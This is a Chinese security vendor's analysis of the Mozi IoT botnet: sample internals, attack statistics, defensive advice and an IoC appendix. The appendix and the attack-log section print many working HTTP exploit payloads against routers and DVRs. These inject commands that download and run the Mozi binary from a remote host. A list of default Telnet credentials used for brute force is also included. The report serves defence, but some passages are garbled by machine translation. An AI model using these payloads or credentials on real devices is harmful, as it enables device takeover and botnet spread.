< 返回新闻公共列表

2020年9月墨子(Mozi)僵尸网络分析报告

发布时间:2020-09-28
专项行动期间,某天各大蓝队群内都在交流最近还是收到很多来自印度的攻击流量,最初部分认为是红队在使用印度 IP 进行攻击。但很快发现事情好像并不是这么简单,通过对攻击付费负载特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩展的僵尸网络 ——Mozi(墨子)僵尸网络。
  1. 概述

    专项行动期间,某天各大蓝队群内都在交流最近还是收到很多来自印度的攻击流量,最初部分认为是红队在使用印度 IP 进行攻击。但很快发现事情好像并不是这么简单,通过对攻击付费负载特征的分析,发现该攻击不是专项行动红队所发起,而是来自一个正在迅速扩展的僵尸网络 ——Mozi(墨子)僵尸网络。

    Mozi 僵尸网络是在 2019 年底首次出现在针对路由器和 DVR 的攻击场景上的一种 P2P 僵尸网络。主要攻击物联网(IoT)设备,包括网件,D-Link 和华为等路由设备。它本质上是 Mirai 的变种,但也包含 Gafgyt 和 IoT Reaper 的部分代码,用于进行 DDoS 攻击,数据窃取,垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大,据统计目前已占到所有物联网(IoT)僵尸网络流量的 90%。

    近日知道创宇 404 积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度的 IP。攻击分析,其中大量的攻击来自 Mozi 僵尸网络,可能和近期印度 Mozi 僵尸网络大范围感染并传播有关。
    2. 追溯分析
    2.1 发现攻击

    近日,知道创宇 404 积极防御实验室监测到大量来自印度的 IP 攻击,试图通过远程命令执行下载 Mozi.m,Mozi.a 等恶意文件到被攻击设备上,并且使用的 User-Agent 替代:“Hello,world”。使用的部分攻击有效载荷如下:

    cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
    /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

    图 1 - 攻击日志

    通过对样本的分析确定该样本属于 Mozi 僵尸网络家族。
    2.2 详细分析
    2.2.1 Mozi.m 样本分析

    捕获到的样本信息:

    SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf

    ELF 头:
    魔法     7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
    类别     ELF32
    数据     2 补码,大端序(big endian)
    版     1(当前)
    操作系统 / ABI     UNIX - 系统 V
    ABI 版本     0
    类型     EXEC(可执行文件)
    系统架构     MIPS R3000
    版本     0x1
    入口点地址     0x41fb58
    程序头起点     52(以字节为单位)

    样本通过 UPX 进行了加壳操作,并且将 p_info 结构中的 p_file_size 和 p_blocksize 值替换为 0,来增强自身的 “安全性”。

    在成功感染目标设备之后,Mozi 为进行自我保护,会通过防火墙中断 SSH,Telnet 端口,以防止被其他僵尸网络入侵:

    图 2 - 中断 22、2323 端口通信

    根据感染的设备,修改防火墙策略放行不同的端口来保证自身的通信:

    图 3 - 放行自身使用端口

    同时读取 /proc/net /tcp 和 /proc/net /raw 来查找并 KILL 掉使用 1536 和 5888 端口的进程:

    图 4 - 杀死相关进程

    检查被感染的设备上是否存在 Watchdog 来避免重启:

    图 5 - 检测看门狗

    检查被感染的设备上是否存在 /usr/bin /python,如果存在,则将进程名称更改为 sshd,不存在则更改为 dropbear,从而来迷惑被攻击者。

    图 6 - 更改进度名

    分析过程中发现 Mozi 僵尸网络附属部分 Gafgyt 家族僵尸网络的代码,其中内嵌了 8 个硬编码的公共节点信息,用于加入 P2P 网络,如下:

    图 7 - 内置的例程

    在样本中还硬编码了一个使用 XOR 加密的配置文件以及密钥:

    图 8 - 配置文件

    使用硬编码的秘钥解密后得到如下配置数据: [ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。

    新的 http://ia.51.la/Mozi 美元向向发送 HTTP 请求,来注册自身。

    在通信流量中通过 1:v4:JBls 来标记是否为 Mozi 纳米发起的通信。

    图 9 - 通信标识

    所使用的攻击设备类型包括:GPON 光纤设备,NetGear 路由设备,华为 HG532 交换机系列,D-Link 路由设备,使用 Realtek SDK 的设备,Vacron 监控摄像机,斐讯路由器,USR-G806 4G 工业无线路由器等:

    图 10 - 攻击的设备类型

    同时还在样本中发现硬编码的部分用户名和弱密码,用于对 Telnet 进行暴力破解攻击,以扩大感染和传播范围,硬编码的部分用户名和密码如下:

    图 11 - 部分弱密码密码
    2.3 攻击分布

    自 9 月以来知道创宇云防御共拦截了来自 Mozi 僵尸网络的 151,952 个 IP 的攻击,总计拦截攻击 14,228,252 次。与 8 月份排名,来自印度的攻击显着增加,拦截到的来自印度的攻击 IP 先前上升了近 30%,所拦截到的总攻击次数增加了近 42%。下图为知道创宇 404 积极防御实验室自 9 月以来监测到的来自印度的攻击 IP TOP10:

    图 12 - 攻击 IP TOP10

    通过对捕获到的日志分析,对所有被攻击的行业进行分类统计,其中被攻击占比最高的为政府事业单位,以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到 45%。如下:

    图 13 - 被攻击行业分布

    目前 Mozi 僵尸网络仍在快速扩张,且呈上升趋势,直至十一重保,各单位仍需提高警惕,采取安全防护措施,尤其是已有政府事业单位以及部委机关单位,应提前做好相关设备的安全检查,避免被僵尸网络入侵感染。
    3. 防护建议

        1. 设备关闭预设的端口,对使用的端口号进行更改;
        2. 定期更新系统补丁,及时修复相关突破;
        3. 服务器切勿使用弱密码,避免被暴力破解;
        4. 根据附件中的有效载荷中断存在以下特征的通信;
        5. 关注设备上的可疑进展和外连访问,尤其是最近来自印度的 IP。

    4 附:IoCs
    公共节点

    dht.transmissionbt.com:6881
    router.bittorrent.com:6881
    router.utorrent.com:6881
    ttracker.debian.org:6881
    212.129.33.59:6881(ZoomEye 搜索结果)
    82.221.103.244:6881(ZoomEye 搜索结果)
    130.239。 18.159:6881(ZoomEye 搜索结果)
    87.98.162.88:6881(ZoomEye 搜索结果)
    部分有效载荷

    POST /GponForm/diag_Form?images/ HTTP/1.1
    Host: 127.0.0.1:80
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: Hello, World
    Content-Length: 118

    XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

    POST /picsdesc.xml HTTP/1.1
    Content-Length: 630
    Accept-Encoding: gzip, deflate
    SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
    Accept: /
    User-Agent: Hello-World
    Connection: keep-alive

    <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

    GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0

    POST /HNAP1/ HTTP/1.0
    Host: %s:80
    Content-Type: text/xml; charset="utf-8"
    SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
    Content-Length: 640

    <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

    GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
    User-Agent: Hello, world
    Host: %s:80
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Connection: keep-alive

    POST /UD/act?1 HTTP/1.1
    Host: 127.0.0.1:7574
    User-Agent: Hello, world
    SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
    Content-Type: text/xml
    Content-Length: 640

    <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

    GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
    GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron

    POST /soap.cgi?service=WANIPConn1 HTTP/1.1
    Host: %s:49152
    Content-Length: 630
    Accept-Encoding: gzip, deflate
    SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
    Accept: */*
    User-Agent: Hello, World
    Connection: keep-alive

    <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>

    GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

    暴力破解使用的用户名及弱口令
    Username     Password
    admin     00000000
    telnetadmin     1111
    !!Huawei     1111111
    admin     1234
    root     12345
    root     123456
    keomeo     2010vesta
    support     2011vesta
    CMCCAdmin     25802580
    e8telnet     54321
    e8ehome1     666666
    e8ehome     7ujMko0admin
    user     7ujMko0vizxv
    mother     888888
    root     88888888
    Administrator     @HuaweiHgw
    service     BrAhMoS@15
    supervisor     CMCCAdmin
    guest     CUAdmin
    admin1     Fireitup
    administrator     GM8182
    ubnt     PhrQjGzk
    tech     Pon521
    admin     Zte521
    admin     admin
    telnet     admin1234
        adminHW
        adminpass
        anko
        cat1029
        chzhdpl
        conexant
        default
        dreambox
        e2008jl
        e8ehome
        e8ehome1
        e8telnet
        epicrouter
        fucker
        gpon
        guest
        gw1admin
        h@32LuyD
        hg2x0
        hi3518
        ikwb
        juantech
        jvbzd
        keomeo
        klv123
        klv1234
        meinsm
        pass
        password
        plumeria0077
        r@p8p0r+
        realtek
        root
        service
        smcadmin
        supervisor
        support
        system
        tech
        telnet
        telnetadmin
        ubnt
        user
        v2mprt
        vizxv
        xJ4pCYeW
        xc3511
        xmhdipc
        zlxx
        zte
        
        
    #### SHA256     
    ```     
    bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf     
    c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887     
    ```     
    ### 5. 参考链接:     
    kb.cert.org/vuls/id/582384/     
    https://www.cebnet.com.cn/20180302/1024695...     
    https://cloud.tencent.com/developer/articl...

 以上文章部分内容采集于网络,如有侵权请联系未来云客服处理,谢谢!


/../template/Home/mama/PC/Static